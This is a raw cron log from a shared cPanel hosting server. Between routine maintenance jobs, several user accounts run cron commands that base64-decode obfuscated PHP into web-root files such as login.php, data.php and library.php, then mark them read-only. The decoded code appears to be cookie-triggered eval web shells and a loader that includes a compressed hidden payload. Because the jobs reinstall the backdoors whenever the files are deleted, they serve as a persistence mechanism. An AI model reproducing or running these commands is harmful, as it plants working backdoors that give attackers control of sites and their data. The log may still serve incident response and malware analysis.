4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:24:01 medusa CROND[25046]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:24:01 medusa CROND[25052]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:24:01 medusa CROND[25054]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:24:01 medusa CROND[25057]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:24:01 medusa CROND[25060]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:25:01 medusa CROND[31096]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 22:25:01 medusa CROND[31100]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:25:01 medusa CROND[31355]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  1 22:25:01 medusa CROND[31356]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 22:25:01 medusa CROND[31358]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  1 22:25:01 medusa CROND[31361]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 22:25:01 medusa CROND[31362]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:25:01 medusa CROND[31364]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 22:25:01 medusa CROND[31365]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:25:01 medusa CROND[31368]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:25:01 medusa CROND[31363]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Mar  1 22:25:01 medusa CROND[31370]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:25:01 medusa CROND[31367]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 22:25:01 medusa CROND[31380]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:25:01 medusa CROND[31384]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 22:25:01 medusa CROND[31372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:25:01 medusa CROND[31388]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:25:01 medusa CROND[31389]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:25:01 medusa CROND[31385]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  1 22:25:01 medusa CROND[31390]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:25:01 medusa CROND[31393]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  1 22:25:01 medusa CROND[31392]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  1 22:25:01 medusa CROND[31399]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:26:01 medusa CROND[4563]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  1 22:26:01 medusa CROND[4600]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 22:26:01 medusa CROND[4601]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 22:26:01 medusa CROND[4602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 22:26:01 medusa CROND[4603]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 22:26:01 medusa CROND[4607]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 22:26:01 medusa CROND[4609]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 22:26:01 medusa CROND[4608]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  1 22:26:01 medusa CROND[4611]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:26:01 medusa CROND[4612]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 22:26:01 medusa CROND[4617]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:26:01 medusa CROND[4620]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:26:01 medusa CROND[4623]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 22:26:01 medusa CROND[4625]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 22:27:02 medusa CROND[11634]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
